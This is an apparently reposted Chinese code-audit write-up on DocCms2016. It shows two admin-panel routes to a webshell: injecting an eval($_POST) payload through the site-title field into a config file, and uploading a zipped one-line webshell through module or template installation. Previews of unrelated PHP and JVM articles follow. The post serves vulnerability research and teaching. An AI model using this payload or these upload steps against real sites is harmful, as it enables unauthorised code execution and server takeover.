【代码审计】后台Getshell的两种常规姿势
0x00 前言
在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作。
这里结合代码实例介绍白盒Getshell的两种常规姿势:写入配置文件Getshell、模块安装Getshell。
0x01 环境搭建
Doccms官网:http://www.doccms.com
程序源码:DocCms2016
下载地址:https://pan.baidu.com/s/1pLclifL
0x02 写入配置文件Getshell
代码分析:
1、在/admini/controllers/system/options.php,save函数通过一大串的表达式替换得到变量tempStr,然后调用了string2file函数写入配置文件,跟进这两个函数查看:
function save() { global $request; if(filesize(ABSPATH.'/config/doc-config-'.$request['l'].'.php')>0){ …… $tempStr = file2String(ABSPATH.'/config/doc-config-'.$request['l'].'.php'); $tempStr = preg_replace("/\('WEBOPEN',.*?\)/i","('WEBOPEN',".$request['webopen'].")",$tempStr); $tempStr = preg_replace("/'WEBURL','.*?'/i","'WEBURL','".$request['weburl']."'",$tempStr); $tempStr = preg_replace("/'MOBILEURL','.*?'/i","'MOBILEURL','".$request['mobileurl']."'",$tempStr); $tempStr = preg_replace("/'WEBSIZE','.*?'/i","'WEBSIZE','".$request['websize']."'",$tempStr); $tempStr = preg_replace("/'SITENAME','.*?'/i","'SITENAME','".$request['sitename']."'",$tempStr); ……
2、在/inc/function.php,第100-105行中,string2file函数,并未做任何处理,只是将字符串写入文件中:
function string2file($str,$filePath) { $fp=fopen($filePath,'w+'); fwrite($fp,$str); fclose($fp); }
综上,在表达式替换字符串的过程中,只是作为简单的字符串替换,并未做任何匹配限制,我们可以将构造好的代码写入配置中,导致程序在实现上存在代码执行漏洞。
漏洞利用:
1、 登录后台,在站点设置--基本设置--站点标题处,填写
Payload:test\');eval($_POST[g]);//
2、 成功写入全局配置文件doc-config-cn.php中:
3、直接访问http://127.0.0.1/config/doc-config-cn.php,显示403Forbidden,全局搜索 doc-config-cn.php,查找包含该文件的文件。
4、访问http://127.0.0.1/editor/keditor/php/upload_json.php,因此文件包含doc-config-cn.php,包含的代码执行漏洞被触发。
0x03 模块上传Getshell
代码分析:
function upload_model() { //把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下 //suny.2008.01.16 $upload = new Upload(10000,'/temp/'); $fileName = $upload->SaveFile('upfile'); if(is_file(ABSPATH.'/temp/'.$fileName)) { del_dir(ABSPATH.UPLOADPATH.'temp/'); mkdirs(ABSPATH.UPLOADPATH.'temp/'); if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1) { $doc = get_config_xmldoc('config'); exec_config($doc); $doc = get_config_xmldoc('install'); exec_install($doc); redirect('?m=system&s=managemodel'); } } }
在模块上传的过程中,先删除temp目录中存在的所有文件,然后解压缩文件到temp目录下,我们可以上传一个压缩打包好的一句话木马,自动解压缩到temp目录下,获取webshell。
漏洞利用:
1、模块管理--安装模块--上传zip压缩文件--上传完成--自动解压upload\temp目录下 可getshell
2、成功将一句话木马,上传到temp目录下
另外,在其他功能中,也找到了类似的操作,如:
模板管理--上传模板--上传zip压缩文件--上传完成--自动解压\skins目录下,可getshell
0x04 END
如果手头拿到一套代码,想要了解如何去Getshell,除了上传点,那么这两种常规姿势是非常有效的,当然思路不局限,只是分享一个审计套路而已。
有朋自远方来,不亦乐乎?有对这方面有研究的童鞋,欢迎前来相互探讨,交流。

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
-
上一篇
你应该这个姿势学习php(3)
1、ob_start() 开启文件缓存 2、ob_get_contents() 得到缓存中的内存 3、ob_get_length() 得到缓冲区的长度 4、ob_flush() 输出缓冲区的内容,如果你想获取缓冲区的内容要在这个函数之前使用ob_get_contents(),不然数据将会被清空 5、ob_end_flush() 输出缓冲区并关闭缓存 6、ob_end_clean() 清除缓存并关闭输出缓冲,如果这个再ob_start()开启之后不执行这个函数时候,那么将一直写入缓冲区 下面我们来写一个页面静态化示例来练练手,本案例是依托thinkphp框架进行讲解,其他框架小伙伴们自行脑补! 1、首先有四个函数 ob_start() 开启缓存 ob_get_contents() 获取缓冲区的内容 ob_clean() 删除缓冲区的内容 ob_get_clean() 先获取然后再删除缓冲区内容 2、然后我们定义一个函数来生成静态文件 /**定义一个缓存文件 * @author crazy * @time 2018-03-14 */ public function createCache(...
-
下一篇
运行期优化
一、概述 即时编译器(Just In Time Compiler,JIT编译器):Java程序最初是通过解释器进行解释执行的,当虚拟机发现某个方法或代码块的运行特别频繁时,就会把这些代码认定为“热点代码”。为了提高热点代码的执行效率,在运行时,虚拟机将会把这些代码编译成与本地平台相关的机器码,并进行各种层次的优化,完成这个任务的编译器称为即时编译器。 二、HotSpot虚拟机内的即时编译器 1、解释器与编译器 当程序需要迅速启动和执行的时候,解释器可以首先发挥作用,省去编译时间立即执行。在程序运行后,随时间推移,编译器逐渐发挥作用,把越来越多的代码编译成本地代码之后,可以提供执行效率。 HotSpot虚拟机中内置两个即时编译器,分别称为Client Compiler 和Server Compiler,简称C1编译器和C2编译器。默认C1编译器,可以使用-client 或 -server 指定。解释器与编译器搭配使用的方式在虚拟机中称为混合模式,用户可以通过参数-Xint强制虚拟机运行与解释模式(Interpreted Mode),这时编译器完全不参与工作,全部代码都使用解释方式执行。也...
相关文章
文章评论
共有0条评论来说两句吧...